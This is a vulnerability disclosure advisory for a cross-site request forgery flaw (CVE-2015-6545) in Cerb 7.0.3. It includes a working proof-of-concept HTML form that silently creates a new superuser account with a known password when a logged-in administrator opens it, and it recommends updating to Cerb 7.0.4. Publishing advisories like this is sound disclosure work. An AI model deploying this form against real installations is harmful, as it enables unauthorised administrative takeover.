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Cross-Site Request Forgery in Cerb

Advisory ID:HTB23269
Vendor:Webgroup Media LLC
Vulnerable Versions:7.0.3 and probably prior
Tested Version:7.0.3
Advisory Publication:August 12, 2015 [without technical details]
Vendor Notification:August 12, 2015
Vendor Fix:August 14, 2015
Public Disclosure:September 2, 2015
Latest Update:August 18, 2015
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
CVE Reference:CVE-2015-6545
Risk Level:Medium
CVSSv2 Base Score:5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab

Advisory Details:

High-Tech Bridge Security Research Lab discovered CSRF vulnerability in Cerb platform, which can be exploited to perform Cross-Site Request Forgery attacks against administrators of vulnerable web application to add administrate accounts into the system.

The vulnerability exists due to failure of the "/ajax.php" script to properly verify the source of incoming HTTP request. Taking into consideration that Cerb is a business-critical application, this security flaw may be quite dangerous if exploited by malicious attackers.

A simple exploit below will add admin user into the system when a logged-in victim opens a malicious page with the exploit:

<form action="http://[host]/ajax.php" method = "POST">
<input type="hidden" name="c" value="config">
<input type="hidden" name="a" value="handleSectionAction">
<input type="hidden" name="section" value="workers">
<input type="hidden" name="action" value="saveWorkerPeek">
<input type="hidden" name="id" value="0">
<input type="hidden" name="view_id" value="workers_cfg">
<input type="hidden" name="do_delete" value="0">
<input type="hidden" name="first_name" value="first name">
<input type="hidden" name="last_name" value="last name">
<input type="hidden" name="title" value="title">
<input type="hidden" name="email" value="">
<input type="hidden" name="at_mention_name" value="name">
<input type="hidden" name="is_disabled" value="0">
<input type="hidden" name="is_superuser" value="1">
<input type="hidden" name="lang_code" value="en_US">
<input type="hidden" name="timezone" value="Antarctica%2FTroll">
<input type="hidden" name="time_format" value="D%2C+d+M+Y+h%3Ai+a">
<input type="hidden" name="auth_extension_id" value="login.password">
<input type="hidden" name="password_new" value="password">
<input type="hidden" name="password_verify" value="password">
<input type="hidden" name="calendar_id" value="new">
<input value="submit" id="btn" type="submit" />

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Update to Cerb 7.0.4

More Information:

[1] High-Tech Bridge Advisory HTB23269 - - Cross-Site Request Forgery in Cerb.
[2] Cerb - - Cerb is a fast and flexible platform for enterprise collaboration, productivity, and automation.
[3] Common Vulnerabilities and Exposures (CVE) - - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® - Leveraging the power of machine-learning and genius of human brain to deliver the most advanced web application security and penetration testing.
[6] ImmuniWeb® SSLScan - Test your servers for security and compliance with PCI DSS, HIPAA and NIST.
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